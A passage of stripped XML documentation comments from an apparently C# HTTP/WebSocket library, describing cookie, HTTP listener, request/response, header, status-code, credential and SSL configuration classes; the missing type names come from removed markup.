cookie. - - - A that represents the list of TCP ports to which the cookie applies. - - - The value specified for a set operation isn't enclosed in double quotes or - couldn't be parsed. - - - - - Gets or sets a value indicating whether the security level of the cookie is secure. - - - When this property is true, the cookie may be included in the HTTP request - only if the request is transmitted over the HTTPS. - - - true if the security level of the cookie is secure; otherwise, false. - The default value is false. - - - - - Gets the time when the cookie was issued. - - - A that represents the time when the cookie was issued. - - - - - Gets or sets the Value of the cookie. - - - A that represents the Value of the cookie. - - - - The value specified for a set operation is . - - - - or - - - - The value specified for a set operation contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Gets or sets the value of the Version attribute of the cookie. - - - An that represents the version of the HTTP state management - to which the cookie conforms. - - - The value specified for a set operation isn't 0 or 1. - - - - - Determines whether the specified is equal to the current - . - - - An to compare with the current . - - - true if is equal to the current ; - otherwise, false. - - - - - Serves as a hash function for a object. - - - An that represents the hash code for the current . - - - - - Returns a that represents the current . - - - This method returns a to use to send an HTTP Cookie to - an origin server. - - - A that represents the current . - - - - - Provides a collection container for instances of the class. - - - - - Initializes a new instance of the class. - - - - - Gets the number of cookies in the collection. - - - An that represents the number of cookies in the collection. - - - - - Gets a value indicating whether the collection is read-only. - - - true if the collection is read-only; otherwise, false. - The default value is true. - - - - - Gets a value indicating whether the access to the collection is thread safe. - - - true if the access to the collection is thread safe; otherwise, false. - The default value is false. - - - - - Gets the at the specified from - the collection. - - - A at the specified in the collection. - - - An that represents the zero-based index of the - to find. - - - is out of allowable range of indexes for the collection. - - - - - Gets the with the specified from - the collection. - - - A with the specified in the collection. - - - A that represents the name of the to find. - - - is . - - - - - Gets an object used to synchronize access to the collection. - - - An used to synchronize access to the collection. - - - - - Adds the specified to the collection. - - - A to add. - - - is . - - - - - Adds the specified to the collection. - - - A that contains the cookies to add. - - - is . - - - - - Copies the elements of the collection to the specified , starting at - the specified in the . - - - An that represents the destination of the elements copied from - the collection. - - - An that represents the zero-based index in - at which copying begins. - - - is . - - - is less than zero. - - - - is multidimensional. - - - -or- - - - The number of elements in the collection is greater than the available space from - to the end of the destination . - - - - The elements in the collection cannot be cast automatically to the type of the destination - . - - - - - Copies the elements of the collection to the specified array of , - starting at the specified in the . - - - An array of that represents the destination of the elements - copied from the collection. - - - An that represents the zero-based index in - at which copying begins. - - - is . - - - is less than zero. - - - The number of elements in the collection is greater than the available space from - to the end of the destination . - - - - - Gets the enumerator used to iterate through the collection. - - - An instance used to iterate through the collection. - - - - - The exception that is thrown when a gets an error. - - - - - Initializes a new instance of the class from - the specified and . - - - A that contains the serialized object data. - - - A that specifies the source for the deserialization. - - - - - Initializes a new instance of the class. - - - - - Populates the specified with the data needed to serialize - the current . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - - - Populates the specified with the data needed to serialize - the current . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - - - Holds the username and password from an HTTP Basic authentication attempt. - - - - - Gets the password from a basic authentication attempt. - - - A that represents the password. - - - - - Holds the username and other parameters from - an HTTP Digest authentication attempt. - - - - - Gets the algorithm parameter from a digest authentication attempt. - - - A that represents the algorithm parameter. - - - - - Gets the cnonce parameter from a digest authentication attempt. - - - A that represents the cnonce parameter. - - - - - Gets the nc parameter from a digest authentication attempt. - - - A that represents the nc parameter. - - - - - Gets the nonce parameter from a digest authentication attempt. - - - A that represents the nonce parameter. - - - - - Gets the opaque parameter from a digest authentication attempt. - - - A that represents the opaque parameter. - - - - - Gets the qop parameter from a digest authentication attempt. - - - A that represents the qop parameter. - - - - - Gets the realm parameter from a digest authentication attempt. - - - A that represents the realm parameter. - - - - - Gets the response parameter from a digest authentication attempt. - - - A that represents the response parameter. - - - - - Gets the uri parameter from a digest authentication attempt. - - - A that represents the uri parameter. - - - - - Provides a simple, programmatically controlled HTTP listener. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the scheme used to authenticate the clients. - - - One of the enum values, - represents the scheme used to authenticate the clients. The default value is - . - - - This listener has been closed. - - - - - Gets or sets the delegate called to select the scheme used to authenticate the clients. - - - If you set this property, the listener uses the authentication scheme selected by - the delegate for each request. Or if you don't set, the listener uses the value of - the property as the authentication - scheme for all requests. - - - A Func<, > - delegate that references the method used to select an authentication scheme. The default - value is . - - - This listener has been closed. - - - - - Gets or sets the path to the folder in which stores the certificate files used to - authenticate the server on the secure connection. - - - - This property represents the path to the folder in which stores the certificate files - associated with each port number of added URI prefixes. A set of the certificate files - is a pair of the 'port number'.cer (DER) and 'port number'.key - (DER, RSA Private Key). - - - If this property is or empty, the result of - System.Environment.GetFolderPath - () is used as the default path. - - - - A that represents the path to the folder in which stores - the certificate files. The default value is . - - - This listener has been closed. - - - - - Gets or sets a value indicating whether the listener returns exceptions that occur when - sending the response to the client. - - - true if the listener shouldn't return those exceptions; otherwise, false. - The default value is false. - - - This listener has been closed. - - - - - Gets a value indicating whether the listener has been started. - - - true if the listener has been started; otherwise, false. - - - - - Gets a value indicating whether the listener can be used with the current operating system. - - - true. - - - - - Gets the logging functions. - - - The default logging level is . If you would like to change it, - you should set the Log.Level property to any of the enum - values. - - - A that provides the logging functions. - - - - - Gets the URI prefixes handled by the listener. - - - A that contains the URI prefixes. - - - This listener has been closed. - - - - - Gets or sets the name of the realm associated with the listener. - - - If this property is or empty, "SECRET AREA" will be used as - the name of the realm. - - - A that represents the name of the realm. The default value is - . - - - This listener has been closed. - - - - - Gets or sets the SSL configuration used to authenticate the server and - optionally the client for secure connection. - - - A that represents the configuration used to - authenticate the server and optionally the client for secure connection. - - - This listener has been closed. - - - - - Gets or sets a value indicating whether, when NTLM authentication is used, - the authentication information of first request is used to authenticate - additional requests on the same connection. - - - This property isn't currently supported and always throws - a . - - - true if the authentication information of first request is used; - otherwise, false. - - - Any use of this property. - - - - - Gets or sets the delegate called to find the credentials for an identity used to - authenticate a client. - - - A Func<, > delegate - that references the method used to find the credentials. The default value is - . - - - This listener has been closed. - - - - - Shuts down the listener immediately. - - - - - Begins getting an incoming request asynchronously. - - - This asynchronous operation must be completed by calling the EndGetContext method. - Typically, the method is invoked by the delegate. - - - An that represents the status of the asynchronous operation. - - - An delegate that references the method to invoke when - the asynchronous operation completes. - - - An that represents a user defined object to pass to - the delegate. - - - - This listener has no URI prefix on which listens. - - - -or- - - - This listener hasn't been started, or is currently stopped. - - - - This listener has been closed. - - - - - Shuts down the listener. - - - - - Ends an asynchronous operation to get an incoming request. - - - This method completes an asynchronous operation started by calling - the BeginGetContext method. - - - A that represents a request. - - - An obtained by calling the BeginGetContext method. - - - is . - - - wasn't obtained by calling the BeginGetContext method. - - - This method was already called for the specified . - - - This listener has been closed. - - - - - Gets an incoming request. - - - This method waits for an incoming request, and returns when a request is received. - - - A that represents a request. - - - - This listener has no URI prefix on which listens. - - - -or- - - - This listener hasn't been started, or is currently stopped. - - - - This listener has been closed. - - - - - Starts receiving incoming requests. - - - This listener has been closed. - - - - - Stops receiving incoming requests. - - - This listener has been closed. - - - - - Releases all resources used by the listener. - - - - - Provides the access to the HTTP request and response objects used by - the . - - - This class cannot be inherited. - - - - - Gets the HTTP request object that represents a client request. - - - A that represents the client request. - - - - - Gets the HTTP response object used to send a response to the client. - - - A that represents a response to the client request. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Accepts a WebSocket handshake request. - - - A that represents - the WebSocket handshake request. - - - A that represents the subprotocol supported on - this WebSocket connection. - - - - is empty. - - - -or- - - - contains an invalid character. - - - - This method has already been called. - - - - - The exception that is thrown when a gets an error - processing an HTTP request. - - - - - Initializes a new instance of the class from - the specified and . - - - A that contains the serialized object data. - - - A that specifies the source for the deserialization. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with the specified . - - - An that identifies the error. - - - - - Initializes a new instance of the class - with the specified and . - - - An that identifies the error. - - - A that describes the error. - - - - - Gets the error code that identifies the error that occurred. - - - An that identifies the error. - - - - - Initializes a new instance of the class with - the specified . - - - This constructor must be called after calling the CheckPrefix method. - - - A that represents the URI prefix. - - - - - Determines whether this instance and the specified have the same value. - - - This method will be required to detect duplicates in any collection. - - - An to compare to this instance. - - - true if is a and - its value is the same as this instance; otherwise, false. - - - - - Gets the hash code for this instance. - - - This method will be required to detect duplicates in any collection. - - - An that represents the hash code. - - - - - Provides the collection used to store the URI prefixes for the . - - - The responds to the request which has a requested URI that - the prefixes most closely match. - - - - - Gets the number of prefixes in the collection. - - - An that represents the number of prefixes. - - - - - Gets a value indicating whether the access to the collection is read-only. - - - Always returns false. - - - - - Gets a value indicating whether the access to the collection is synchronized. - - - Always returns false. - - - - - Adds the specified to the collection. - - - A that represents the URI prefix to add. The prefix must be - a well-formed URI prefix with http or https scheme, and must end with a '/'. - - - is . - - - is invalid. - - - The associated with this collection is closed. - - - - - Removes all URI prefixes from the collection. - - - The associated with this collection is closed. - - - - - Returns a value indicating whether the collection contains the specified - . - - - true if the collection contains ; - otherwise, false. - - - A that represents the URI prefix to test. - - - is . - - - The associated with this collection is closed. - - - - - Copies the contents of the collection to the specified . - - - An that receives the URI prefix strings in the collection. - - - An that represents the zero-based index in - at which copying begins. - - - The associated with this collection is closed. - - - - - Copies the contents of the collection to the specified array of . - - - An array of that receives the URI prefix strings in the collection. - - - An that represents the zero-based index in - at which copying begins. - - - The associated with this collection is closed. - - - - - Gets the enumerator used to iterate through the . - - - An instance used to iterate - through the collection. - - - - - Removes the specified from the collection. - - - true if is successfully found and removed; - otherwise, false. - - - A that represents the URI prefix to remove. - - - is . - - - The associated with this collection is closed. - - - - - Gets the enumerator used to iterate through the . - - - An instance used to iterate through the collection. - - - - - Provides the access to a request to the . - - - The HttpListenerRequest class cannot be inherited. - - - - - Gets the media types which are acceptable for the response. - - - An array of that contains the media type names in - the Accept request-header, or if the request didn't include - the Accept header. - - - - - Gets an error code that identifies a problem with the client's certificate. - - - Always returns 0. - - - - - Gets the encoding for the entity body data included in the request. - - - A that represents the encoding for the entity body data, - or if the request didn't include the information about - the encoding. - - - - - Gets the number of bytes in the entity body data included in the request. - - - A that represents the value of the Content-Length entity-header, - or -1 if the value isn't known. - - - - - Gets the media type of the entity body included in the request. - - - A that represents the value of the Content-Type entity-header. - - - - - Gets the cookies included in the request. - - - A that contains the cookies included in the request. - - - - - Gets a value indicating whether the request has the entity body. - - - true if the request has the entity body; otherwise, false. - - - - - Gets the HTTP headers used in the request. - - - A that contains the HTTP headers used in the request. - - - - - Gets the HTTP method used in the request. - - - A that represents the HTTP method used in the request. - - - - - Gets a that contains the entity body data included in the request. - - - A that contains the entity body data included in the request. - - - - - Gets a value indicating whether the client that sent the request is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the request is sent from the local computer. - - - true if the request is sent from the local computer; otherwise, false. - - - - - Gets a value indicating whether the HTTP connection is secured using the SSL protocol. - - - true if the HTTP connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket connection request. - - - true if the request is a WebSocket connection request; otherwise, false. - - - - - Gets a value indicating whether the client requests a persistent connection. - - - true if the client requests a persistent connection; otherwise, false. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the HTTP version used in the request. - - - A that represents the HTTP version used in the request. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the raw URL (without the scheme, host, and port) requested by the client. - - - A that represents the raw URL requested by the client. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - - - Gets the request identifier of a incoming HTTP request. - - - A that represents the identifier of a request. - - - - - Gets the URL requested by the client. - - - A that represents the URL requested by the client. - - - - - Gets the URL of the resource from which the requested URL was obtained. - - - A that represents the value of the Referer request-header, - or if the request didn't include an Referer header. - - - - - Gets the information about the user agent originating the request. - - - A that represents the value of the User-Agent request-header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the internet host name and port number (if present) specified by the client. - - - A that represents the value of the Host request-header. - - - - - Gets the natural languages which are preferred for the response. - - - An array of that contains the natural language names in - the Accept-Language request-header, or if the request - didn't include an Accept-Language header. - - - - - Begins getting the client's X.509 v.3 certificate asynchronously. - - - This asynchronous operation must be completed by calling - the method. Typically, - that method is invoked by the delegate. - - - An that contains the status of the asynchronous operation. - - - An delegate that references the method(s) called when - the asynchronous operation completes. - - - An that contains a user defined object to pass to - the delegate. - - - This method isn't implemented. - - - - - Ends an asynchronous operation to get the client's X.509 v.3 certificate. - - - This method completes an asynchronous operation started by calling - the method. - - - A that contains the client's X.509 v.3 certificate. - - - An obtained by calling - the method. - - - This method isn't implemented. - - - - - Gets the client's X.509 v.3 certificate. - - - A that contains the client's X.509 v.3 certificate. - - - This method isn't implemented. - - - - - Returns a that represents - the current . - - - A that represents the current . - - - - - Provides the access to a response to a request received by the . - - - The HttpListenerResponse class cannot be inherited. - - - - - Gets or sets the encoding for the entity body data included in the response. - - - A that represents the encoding for the entity body data, - or if no encoding is specified. - - - This object is closed. - - - - - Gets or sets the number of bytes in the entity body data included in the response. - - - A that represents the value of the Content-Length entity-header. - - - The value specified for a set operation is less than zero. - - - The response has already been sent. - - - This object is closed. - - - - - Gets or sets the media type of the entity body included in the response. - - - A that represents the media type of the entity body, - or if no media type is specified. This value is - used for the value of the Content-Type entity-header. - - - The value specified for a set operation is empty. - - - This object is closed. - - - - - Gets or sets the cookies sent with the response. - - - A that contains the cookies sent with the response. - - - - - Gets or sets the HTTP headers sent to the client. - - - A that contains the headers sent to the client. - - - The value specified for a set operation isn't valid for a response. - - - - - Gets or sets a value indicating whether the server requests a persistent connection. - - - true if the server requests a persistent connection; otherwise, false. - The default value is true. - - - The response has already been sent. - - - This object is closed. - - - - - Gets a to use to write the entity body data. - - - A to use to write the entity body data. - - - This object is closed. - - - - - Gets or sets the HTTP version used in the response. - - - A that represents the version used in the response. - - - The value specified for a set operation is . - - - The value specified for a set operation doesn't have its Major property set to 1 or - doesn't have its Minor property set to either 0 or 1. - - - The response has already been sent. - - - This object is closed. - - - - - Gets or sets the URL to which the client is redirected to locate a requested resource. - - - A that represents the value of the Location response-header, - or if no redirect location is specified. - - - The value specified for a set operation isn't an absolute URL. - - - This object is closed. - - - - - Gets or sets a value indicating whether the response uses the chunked transfer encoding. - - - true if the response uses the chunked transfer encoding; - otherwise, false. The default value is false. - - - The response has already been sent. - - - This object is closed. - - - - - Gets or sets the HTTP status code returned to the client. - - - An that represents the status code for the response to - the request. The default value is same as . - - - The response has already been sent. - - - This object is closed. - - - The value specified for a set operation is invalid. Valid values are - between 100 and 999 inclusive. - - - - - Gets or sets the description of the HTTP status code returned to the client. - - - A that represents the description of the status code. The default - value is the RFC 2616 - description for the property value, - or if an RFC 2616 description doesn't exist. - - - The value specified for a set operation contains invalid characters. - - - The response has already been sent. - - - This object is closed. - - - - - Closes the connection to the client without returning a response. - - - - - Adds an HTTP header with the specified and - to the headers for the response. - - - A that represents the name of the header to add. - - - A that represents the value of the header to add. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The header cannot be allowed to add to the current headers. - - - - - Appends the specified to the cookies sent with the response. - - - A to append. - - - is . - - - - - Appends a to the specified HTTP header sent with the response. - - - A that represents the name of the header to append - to. - - - A that represents the value to append to the header. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The current headers cannot allow the header to append a value. - - - - - Returns the response to the client and releases the resources used by - this instance. - - - - - Returns the response with the specified array of to the client and - releases the resources used by this instance. - - - An array of that contains the response entity body data. - - - true if this method blocks execution while flushing the stream to the client; - otherwise, false. - - - is . - - - This object is closed. - - - - - Copies some properties from the specified to - this response. - - - A to copy. - - - is . - - - - - Configures the response to redirect the client's request to - the specified . - - - This method sets the property to - , the property to - 302, and the property to - "Found". - - - A that represents the URL to redirect the client's request to. - - - is . - - - isn't an absolute URL. - - - The response has already been sent. - - - This object is closed. - - - - - Adds or updates a in the cookies sent with the response. - - - A to set. - - - is . - - - already exists in the cookies and couldn't be replaced. - - - - - Releases all resources used by the . - - - - - Contains the HTTP headers that may be specified in a client request. - - - The HttpRequestHeader enumeration contains the HTTP request headers defined in - RFC 2616 for the HTTP/1.1 and - RFC 6455 for the WebSocket. - - - - - Indicates the Cache-Control header. - - - - - Indicates the Connection header. - - - - - Indicates the Date header. - - - - - Indicates the Keep-Alive header. - - - - - Indicates the Pragma header. - - - - - Indicates the Trailer header. - - - - - Indicates the Transfer-Encoding header. - - - - - Indicates the Upgrade header. - - - - - Indicates the Via header. - - - - - Indicates the Warning header. - - - - - Indicates the Allow header. - - - - - Indicates the Content-Length header. - - - - - Indicates the Content-Type header. - - - - - Indicates the Content-Encoding header. - - - - - Indicates the Content-Language header. - - - - - Indicates the Content-Location header. - - - - - Indicates the Content-MD5 header. - - - - - Indicates the Content-Range header. - - - - - Indicates the Expires header. - - - - - Indicates the Last-Modified header. - - - - - Indicates the Accept header. - - - - - Indicates the Accept-Charset header. - - - - - Indicates the Accept-Encoding header. - - - - - Indicates the Accept-Language header. - - - - - Indicates the Authorization header. - - - - - Indicates the Cookie header. - - - - - Indicates the Expect header. - - - - - Indicates the From header. - - - - - Indicates the Host header. - - - - - Indicates the If-Match header. - - - - - Indicates the If-Modified-Since header. - - - - - Indicates the If-None-Match header. - - - - - Indicates the If-Range header. - - - - - Indicates the If-Unmodified-Since header. - - - - - Indicates the Max-Forwards header. - - - - - Indicates the Proxy-Authorization header. - - - - - Indicates the Referer header. - - - - - Indicates the Range header. - - - - - Indicates the TE header. - - - - - Indicates the Translate header. - - - - - Indicates the User-Agent header. - - - - - Indicates the Sec-WebSocket-Key header. - - - - - Indicates the Sec-WebSocket-Extensions header. - - - - - Indicates the Sec-WebSocket-Protocol header. - - - - - Indicates the Sec-WebSocket-Version header. - - - - - Contains the HTTP headers that can be specified in a server response. - - - The HttpResponseHeader enumeration contains the HTTP response headers defined in - RFC 2616 for the HTTP/1.1 and - RFC 6455 for the WebSocket. - - - - - Indicates the Cache-Control header. - - - - - Indicates the Connection header. - - - - - Indicates the Date header. - - - - - Indicates the Keep-Alive header. - - - - - Indicates the Pragma header. - - - - - Indicates the Trailer header. - - - - - Indicates the Transfer-Encoding header. - - - - - Indicates the Upgrade header. - - - - - Indicates the Via header. - - - - - Indicates the Warning header. - - - - - Indicates the Allow header. - - - - - Indicates the Content-Length header. - - - - - Indicates the Content-Type header. - - - - - Indicates the Content-Encoding header. - - - - - Indicates the Content-Language header. - - - - - Indicates the Content-Location header. - - - - - Indicates the Content-MD5 header. - - - - - Indicates the Content-Range header. - - - - - Indicates the Expires header. - - - - - Indicates the Last-Modified header. - - - - - Indicates the Accept-Ranges header. - - - - - Indicates the Age header. - - - - - Indicates the ETag header. - - - - - Indicates the Location header. - - - - - Indicates the Proxy-Authenticate header. - - - - - Indicates the Retry-After header. - - - - - Indicates the Server header. - - - - - Indicates the Set-Cookie header. - - - - - Indicates the Vary header. - - - - - Indicates the WWW-Authenticate header. - - - - - Indicates the Sec-WebSocket-Extensions header. - - - - - Indicates the Sec-WebSocket-Accept header. - - - - - Indicates the Sec-WebSocket-Protocol header. - - - - - Indicates the Sec-WebSocket-Version header. - - - - - Contains the values of the HTTP status codes. - - - The HttpStatusCode enumeration contains the values of the HTTP status codes defined in - RFC 2616 for the HTTP/1.1. - - - - - Equivalent to status code 100. - Indicates that the client should continue with its request. - - - - - Equivalent to status code 101. - Indicates that the server is switching the HTTP version or protocol on the connection. - - - - - Equivalent to status code 200. - Indicates that the client's request has succeeded. - - - - - Equivalent to status code 201. - Indicates that the client's request has been fulfilled and resulted in a new resource being - created. - - - - - Equivalent to status code 202. - Indicates that the client's request has been accepted for processing, but the processing - hasn't been completed. - - - - - Equivalent to status code 203. - Indicates that the returned metainformation is from a local or a third-party copy instead of - the origin server. - - - - - Equivalent to status code 204. - Indicates that the server has fulfilled the client's request but doesn't need to return - an entity-body. - - - - - Equivalent to status code 205. - Indicates that the server has fulfilled the client's request, and the user agent should - reset the document view which caused the request to be sent. - - - - - Equivalent to status code 206. - Indicates that the server has fulfilled the partial GET request for the resource. - - - - - - Equivalent to status code 300. - Indicates that the requested resource corresponds to any of multiple representations. - - - MultipleChoices is a synonym for Ambiguous. - - - - - - - Equivalent to status code 300. - Indicates that the requested resource corresponds to any of multiple representations. - - - Ambiguous is a synonym for MultipleChoices. - - - - - - - Equivalent to status code 301. - Indicates that the requested resource has been assigned a new permanent URI and - any future references to this resource should use one of the returned URIs. - - - MovedPermanently is a synonym for Moved. - - - - - - - Equivalent to status code 301. - Indicates that the requested resource has been assigned a new permanent URI and - any future references to this resource should use one of the returned URIs. - - - Moved is a synonym for MovedPermanently. - - - - - - - Equivalent to status code 302. - Indicates that the requested resource is located temporarily under a different URI. - - - Found is a synonym for Redirect. - - - - - - - Equivalent to status code 302. - Indicates that the requested resource is located temporarily under a different URI. - - - Redirect is a synonym for Found. - - - - - - - Equivalent to status code 303. - Indicates that the response to the request can be found under a different URI and - should be retrieved using a GET method on that resource. - - - SeeOther is a synonym for RedirectMethod. - - - - - - - Equivalent to status code 303. - Indicates that the response to the request can be found under a different URI and - should be retrieved using a GET method on that resource. - - - RedirectMethod is a synonym for SeeOther. - - - - - - Equivalent to status code 304. - Indicates that the client has performed a conditional GET request and access is allowed, - but the document hasn't been modified. - - - - - Equivalent to status code 305. - Indicates that the requested resource must be accessed through the proxy given by - the Location field. - - - - - Equivalent to status code 306. - This status code was used in a previous version of the specification, is no longer used, - and is reserved for future use. - - - - - - Equivalent to status code 307. - Indicates that the requested resource is located temporarily under a different URI. - - - TemporaryRedirect is a synonym for RedirectKeepVerb. - - - - - - - Equivalent to status code 307. - Indicates that the requested resource is located temporarily under a different URI. - - - RedirectKeepVerb is a synonym for TemporaryRedirect. - - - - - - Equivalent to status code 400. - Indicates that the client's request couldn't be understood by the server due to - malformed syntax. - - - - - Equivalent to status code 401. - Indicates that the client's request requires user authentication. - - - - - Equivalent to status code 402. - This status code is reserved for future use. - - - - - Equivalent to status code 403. - Indicates that the server understood the client's request but is refusing to fulfill it. - - - - - Equivalent to status code 404. - Indicates that the server hasn't found anything matching the request URI. - - - - - Equivalent to status code 405. - Indicates that the method specified in the request line isn't allowed for the resource - identified by the request URI. - - - - - Equivalent to status code 406. - Indicates that the server doesn't have the appropriate resource to respond to the Accept - headers in the client's request. - - - - - Equivalent to status code 407. - Indicates that the client must first authenticate itself with the proxy. - - - - - Equivalent to status code 408. - Indicates that the client didn't produce a request within the time that the server was - prepared to wait. - - - - - Equivalent to status code 409. - Indicates that the client's request couldn't be completed due to a conflict on the server. - - - - - Equivalent to status code 410. - Indicates that the requested resource is no longer available at the server and - no forwarding address is known. - - - - - Equivalent to status code 411. - Indicates that the server refuses to accept the client's request without a defined - Content-Length. - - - - - Equivalent to status code 412. - Indicates that the precondition given in one or more of the request headers evaluated to - false when it was tested on the server. - - - - - Equivalent to status code 413. - Indicates that the entity of the client's request is larger than the server is willing or - able to process. - - - - - Equivalent to status code 414. - Indicates that the request URI is longer than the server is willing to interpret. - - - - - Equivalent to status code 415. - Indicates that the entity of the client's request is in a format not supported by - the requested resource for the requested method. - - - - - Equivalent to status code 416. - Indicates that none of the range specifier values in a Range request header overlap - the current extent of the selected resource. - - - - - Equivalent to status code 417. - Indicates that the expectation given in an Expect request header couldn't be met by - the server. - - - - - Equivalent to status code 500. - Indicates that the server encountered an unexpected condition which prevented it from - fulfilling the client's request. - - - - - Equivalent to status code 501. - Indicates that the server doesn't support the functionality required to fulfill the client's - request. - - - - - Equivalent to status code 502. - Indicates that a gateway or proxy server received an invalid response from the upstream - server. - - - - - Equivalent to status code 503. - Indicates that the server is currently unable to handle the client's request due to - a temporary overloading or maintenance of the server. - - - - - Equivalent to status code 504. - Indicates that a gateway or proxy server didn't receive a timely response from the upstream - server or some other auxiliary server. - - - - - Equivalent to status code 505. - Indicates that the server doesn't support the HTTP version used in the client's request. - - - - - Decodes an HTML-encoded and returns the decoded . - - - A that represents the decoded string. - - - A to decode. - - - - - Decodes an HTML-encoded and sends the decoded - to the specified . - - - A to decode. - - - A that receives the decoded string. - - - - - HTML-encodes a and returns the encoded . - - - A that represents the encoded string. - - - A to encode. - - - - - HTML-encodes a and sends the encoded - to the specified . - - - A to encode. - - - A that receives the encoded string. - - - - - Provides the HTTP version numbers. - - - - - Provides a instance for the HTTP/1.0. - - - - - Provides a instance for the HTTP/1.1. - - - - - Initializes a new instance of the class. - - - - - Provides the credentials for the password-based authentication. - - - - - Initializes a new instance of the class with - the specified and . - - - A that represents the username associated with - the credentials. - - - A that represents the password for the username - associated with the credentials. - - - is . - - - is empty. - - - - - Initializes a new instance of the class with - the specified , , - and . - - - A that represents the username associated with - the credentials. - - - A that represents the password for the username - associated with the credentials. - - - A that represents the domain associated with - the credentials. - - - An array of that represents the roles - associated with the credentials if any. - - - is . - - - is empty. - - - - - Gets the domain associated with the credentials. - - - This property returns an empty string if the domain was - initialized with . - - - A that represents the domain name - to which the username belongs. - - - - - Gets the password for the username associated with the credentials. - - - This property returns an empty string if the password was - initialized with . - - - A that represents the password. - - - - - Gets the roles associated with the credentials. - - - This property returns an empty array if the roles were - initialized with . - - - An array of that represents the role names - to which the username belongs. - - - - - Gets the username associated with the credentials. - - - A that represents the username. - - - - - Stores the parameters for the used by servers. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with the specified . - - - A that represents the certificate used to - authenticate the server. - - - - - Copies the parameters from the specified to - a new instance of the class. - - - A from which to copy. - - - is . - - - - - Gets or sets a value indicating whether the certificate revocation - list is checked during authentication. - - - - true if the certificate revocation list is checked during - authentication; otherwise, false. - - - The default value is false. - - - - - - Gets or sets a value indicating whether the client is asked for - a certificate for authentication. - - - - true if the client is asked for a certificate for - authentication; otherwise, false. - - - The default value is false. - - - - - - Gets or sets the callback used to validate the certificate - supplied by the client. - - - The certificate is valid if the callback returns true. - - - - A delegate that - invokes the method called for validating the certificate. - - - The default value is a delegate that invokes a method that - only returns true. - - - - - - Gets or sets the protocols used for authentication. - - - - The enum values that represent - the protocols used for authentication. - - - The default value is . - - - - - - Gets or sets the certificate used to authenticate the server. - - - - A or - if not specified. - - - That instance represents an X.509 certificate. - - - - - - Provides a collection of the HTTP headers associated with a request or response. - - - - - Initializes a new instance of the class from - the specified and . - - - A that contains the serialized object data. - - - A that specifies the source for the deserialization. - - - is . - - - An element with the specified name isn't found in . - - - - - Initializes a new instance of the class. - - - - - Gets all header names in the collection. - - - An array of that contains all header names in the collection. - - - - - Gets the number of headers in the collection. - - - An that represents the number of headers in the collection. - - - - - Gets or sets the specified request in the collection. - - - A that represents the value of the request . - - - One of the enum values, represents - the request header to get or set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the request . - - - - - Gets or sets the specified response in the collection. - - - A that represents the value of the response . - - - One of the enum values, represents - the response header to get or set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the response . - - - - - Gets a collection of header names in the collection. - - - A that contains - all header names in the collection. - - - - - Adds a header to the collection without checking if the header is on - the restricted header list. - - - A that represents the name of the header to add. - - - A that represents the value of the header to add. - - - is or empty. - - - or contains invalid characters. - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the . - - - - - Adds the specified to the collection. - - - A that represents the header with the name and value separated by - a colon (':'). - - - is , empty, or the name part of - is empty. - - - - doesn't contain a colon. - - - -or- - - - is a restricted header. - - - -or- - - - The name or value part of contains invalid characters. - - - - The length of the value part of is greater than 65,535 characters. - - - The current instance doesn't allow - the . - - - - - Adds the specified request with - the specified to the collection. - - - One of the enum values, represents - the request header to add. - - - A that represents the value of the header to add. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the request . - - - - - Adds the specified response with - the specified to the collection. - - - One of the enum values, represents - the response header to add. - - - A that represents the value of the header to add. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the response . - - - - - Adds a header with the specified and - to the collection. - - - A that represents the name of the header to add. - - - A that represents the value of the header to add. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the header . - - - - - Removes all headers from the collection. - - - - - Get the value of the header at the specified in the collection. - - - A that receives the value of the header. - - - An that represents the zero-based index of the header to find. - - - is out of allowable range of indexes for the collection. - - - - - Get the value of the header with the specified in the collection. - - - A that receives the value of the header if found; - otherwise, . - - - A that represents the name of the header to find. - - - - - Gets the enumerator used to iterate through the collection. - - - An instance used to iterate through the collection. - - - - - Get the name of the header at the specified in the collection. - - - A that receives the header name. - - - An that represents the zero-based index of the header to find. - - - is out of allowable range of indexes for the collection. - - - - - Gets an array of header values stored in the specified position of - the collection. - - - An array of that receives the header values if found; - otherwise, . - - - An that represents the zero-based index of the header to find. - - - is out of allowable range of indexes for the collection. - - - - - Gets an array of header values stored in the specified . - - - An array of that receives the header values if found; - otherwise, . - - - A that represents the name of the header to find. - - - - - Populates the specified with the data needed to serialize - the . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - is . - - - - - Determines whether the specified header can be set for the request. - - - true if the header is restricted; otherwise, false. - - - A that represents the name of the header to test. - - - is or empty. - - - contains invalid characters. - - - - - Determines whether the specified header can be set for the request or the response. - - - true if the header is restricted; otherwise, false. - - - A that represents the name of the header to test. - - - true if does the test for the response; for the request, false. - - - is or empty. - - - contains invalid characters. - - - - - Implements the interface and raises the deserialization event - when the deserialization is complete. - - - An that represents the source of the deserialization event. - - - 